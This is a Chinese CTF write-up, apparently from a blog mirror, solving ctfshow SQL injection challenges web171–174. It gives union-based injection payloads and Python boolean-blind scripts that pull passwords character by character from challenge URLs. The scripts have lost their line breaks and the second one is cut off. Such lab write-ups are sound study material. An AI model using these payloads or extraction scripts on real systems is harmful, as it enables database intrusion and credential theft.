当前位置: 首页 > news >正文

sql注入171到185

web171

payload:-1'||1%23

payload:25'or id='26'%23             or的特性,前一个为假则执行后一个

联合注入自然也可 

web172 

对返回结果进行检查,那么前面那两种打法都不行了,因为放回的数据里面都有username。那么这里我们正常的union注入即可,不去查username即可,如果非要的话也不是不行,to_base64()是可以的!

payload:-1' union select 1,password from ctfshow_user2;%23

web173 

换成json的形式去匹配了,那么payload还是一样的。

payload:-1' union select 1,2,password from ctfshow_user3 -- -

web174 

布尔盲注

import requestsresult = ''
url = "http://67b52357-7ff6-41fb-bc48-743c43542c13.challenge.ctf.show/api/v4.php?id=1' and "for i in range(1, 47):  # 从第1个字符到第45个字符for j in range(32, 127):payload = f"ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j}--+"r = requests.get(url=url + payload)if "admin" in r.text:  # 根据实际响应调整判断条件result += chr(j)print(f"Found char {i}: {chr(j)}")  # 调试输出break  # 找到正确字符后跳出内层循环elif j==126:print(f"超过了长度范围{i-1}")
print("Final result:", result)

import requestsurl = "http://67b52357-7ff6-41fb-bc48-743c43542c13.challenge.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0while True:i = i + 1head = 32tail = 126while head < tail:                          #由于确定flag一定在可见字符的范围内,所以等左右指针重合时,那就是我们需要的字符了mid = (head + tail) >> 1                #等价于(head+tai
http://www.dtcms.com/a/294890.html

相关文章:

  • 使用Qemu模拟Arm处理器,运行Linux系统
  • 做了个震动APP
  • 学生信息管理系统 - HTML实现增删改查
  • odoo欧度小程序——添加用户
  • 面试150 合并K个升序链表
  • 智能制造基础-全面质量管理(TQM)
  • 嵌入式学习-土堆目标检测(4)-day28
  • iview表单验证一直提示为空的几个原因?
  • 1.C语言和其关键字的一个简单介绍
  • Spring事务注解详解:确保你的应用数据的一致性
  • 解决BAPI_ACC_DOCUMENT_POST 功能范围输入不生效问题
  • OpenAI o系列模型Responses接口开发Python代码示例
  • 【机器学习深度学习】生成式模型的评估与验证
  • linux驱动开发笔记--GPIO驱动开发
  • iTwin 几何属性获取
  • RAG实战指南 Day 22:混合检索策略实现
  • 认识linux进程内存布局以及与命令行参数和环境变量的关系
  • java 位运算转换 bit operator convert
  • WTL 桌面开发入门
  • Medical | 批次 批号 批准文号
  • 直接偏好优化(DPO):原理、演进与大模型对齐新范式
  • git查看两个commit之间有哪些Pull Request
  • 【盘古100Pro+开发板实验例程】FPGA学习 | Modelsim 的使用和 do 文件编写
  • 如何通过内网穿透,访问公司内部服务器?
  • 企业选择将服务器放在IDC机房托管的优势
  • Python 程序设计讲义(7):Python 的基本数据类型——整数类型
  • 什么是HTTP长连接、短连接?谁更能抗DoS攻击?
  • Vue 中 :value 和 :value.sync 的区别
  • La Création du C++ : Une Épopée dans l‘Évolution de la Programmation
  • Encore.ts:下一代高性能 TypeScript 后端框架的崛起